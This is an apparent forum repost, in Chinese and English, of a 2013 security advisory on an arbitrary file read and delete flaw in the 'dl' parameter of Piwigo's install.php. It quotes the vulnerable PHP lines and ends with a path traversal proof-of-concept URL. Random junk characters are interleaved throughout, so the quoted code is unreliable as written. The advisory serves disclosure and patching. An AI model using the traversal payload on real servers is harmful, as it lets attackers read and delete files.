Piwigo是用PHP编写的相册脚本。6 E9 S: S4 ` _( \( i
* i" J5 f# h4 A5 a# E6 ~" }4 N# O
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
; {+ B7 C$ N( e1 l ^====================================================================$ P1 ]3 o6 |& V e, x# [' L- Z
/install.php:
6 ?- I, N( h# n( s, [-------------( X. r7 S$ ^+ [5 P$ ?7 L
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 _% j. r: H/ c114: {
4 z' g" R+ d( @' v! z6 u115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 O" i# m/ b- O; e8 s
116: header('Cache-Control: no-cache, must-revalidate');' i. K* ~9 x- E6 f
117: header('Pragma: no-cache');% U4 o8 O$ c S. h9 j. U
118: header('Content-Disposition: attachment; filename="database.inc.php"');
# `, ? O) f# C9 t5 y119: header('Content-Transfer-Encoding: binary');
( N# a1 u5 U! U" Z120: header('Content-Length: '.filesize($filename));
, b6 V. N: m" D2 [7 Y1 `. Z8 m121: echo file_get_contents($filename);
2 r/ v; y0 Q& Q122: unlink($filename);
+ n0 N" E3 F8 D* m7 @123: exit();
4 N2 H0 O- E( I: G0 f, s! ~124: }7 F# H) N8 Z: P0 |: \
====================================================================! c8 T3 x+ u: T- w! ^8 G4 z: F
' ^' ~$ K" { z8 l! STested on: Microsoft Windows 7 Ultimate SP1 (EN)
5 c8 o$ D* e; U+ E& k( l9 s: a$ y Apache 2.4.2 (Win32)/ r* k) e/ Q$ c7 N' n" G: S: B
PHP 5.4.4
( u/ [! n$ M* V8 Z+ D! R, u' b MySQL 5.5.25a
/ y5 `6 \5 J/ w) ~9 I ) o/ S$ H6 m. a- I& w9 J3 z% G
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# R: c- }2 R7 e( _+ h3 N" W1 h
@zeroscience
* I* i3 ^0 j2 ~5 L; W 7 ?$ V5 n* h6 j" ^0 [+ y; |( A1 h0 W
Advisory ID: ZSL-2013-51276 z2 K/ J' x8 S* `5 E4 M0 U3 ^
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php& G, ~1 `/ y9 e* I: R
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843" ?4 U6 K* o# f0 F7 ~) J
- `4 N& _7 C7 D* o1 W0 X* o
15.02.20133 O7 N* x1 k4 O- R
. U4 O5 V- F2 o4 j, d# H! ~--+ J3 u- ~" T/ Q h* c! e: O( h
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
$ @; N: b: t' F1 |
- M" `1 d R3 q% c B8 v0 Q# J |